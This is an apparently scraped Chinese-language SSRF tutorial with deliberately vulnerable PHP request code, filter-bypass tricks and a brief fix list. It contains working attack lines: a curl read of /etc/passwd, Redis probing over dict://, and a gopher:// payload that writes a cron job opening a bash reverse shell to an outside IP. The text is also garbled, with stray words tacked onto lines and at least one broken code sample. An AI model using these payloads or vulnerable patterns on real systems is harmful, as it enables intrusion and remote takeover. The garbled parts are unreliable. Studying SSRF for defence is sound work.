SSRF(Server-side Request Forge, 服務端請求僞造)。
由攻擊者構造的攻擊連接傳給服務端執行形成的漏洞,通常用來在外網探測或攻擊內網服務。php
掃內網web
向內部任意主機的任意端口發送精心構造的Payloadsql
DOS攻擊(請求大文件,始終保持鏈接Keep-Alive Always)shell
攻擊內網的web應用,主要是使用GET參數就能夠實現的攻擊(好比struts2,sqli等)bash
利用file協議讀取本地文件等curl
CURL支持協議tcp
本地利用ide
# dict protocol (操做Redis) curl -vvv 'dict://127.0.0.1:6379/info' # file protocol (任意文件讀取) curl -vvv 'file:///etc/passwd' # gopher protocol (一鍵反彈Bash) # * 注意: 連接使用單引號,避免$變量問題 curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
遠程利用ui
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); ?>
利用file協議讀取文件url
利用dict協議查看端口開放
當端口開放的時候
當端口未開放的時候
回顯
待更新。。。
<?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True); //限制爲HTTP,HTTPS curl_setopt($ch,CURLOPT_PROTOCOLS,CURLPROTO_HTTP|CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($url); curl_close(); } $url = $_GET['url']; curl($url); ?>
此時用file、dict等協議就沒有用了。
此時能夠利用302跳轉進行利用
<?php
$schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); }else{ header("Location: $schema://$ip:$port/$query"); } ?>
curl形成的SSRF
function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url);
file_get_contents形成的SSRF
$url = $_GET['url']; echo file_get_contents($url);
fsockopen形成的SSRF
<?php
function Getfile($host, $port, $link){ $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if(!$fp){ echo "$errstr (error number $errno) \n"; }else{ $out = "GET $link HTTP/1.1\r\n"; $out .= "HOST $host \r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $content = ''; while(!feof($fp)){ $contents .= fgets($fp, 1024); } fclose($fp); return $contents; } }
常見的過濾
繞過方法
http基礎認證
http://xxx.com@attacker.com
利用302跳轉(xip.io,www.tinyrul.com)
2.1 當咱們訪問xip.io的子域,好比127.0.0.1.xip.io的時候,實際上會被自動重定向到127.0.0.1
2.2 若是利用上面的方法會被檢測127.0.0.1的話,能夠利用www.tinyurl.com提供的服務來進行繞過
加上#或?便可
4.更改其餘進制的ip
修復方案:
• 限制協議爲HTTP、HTTPS
• 不用限制302重定向
• 設置URL白名單或者限制內網IP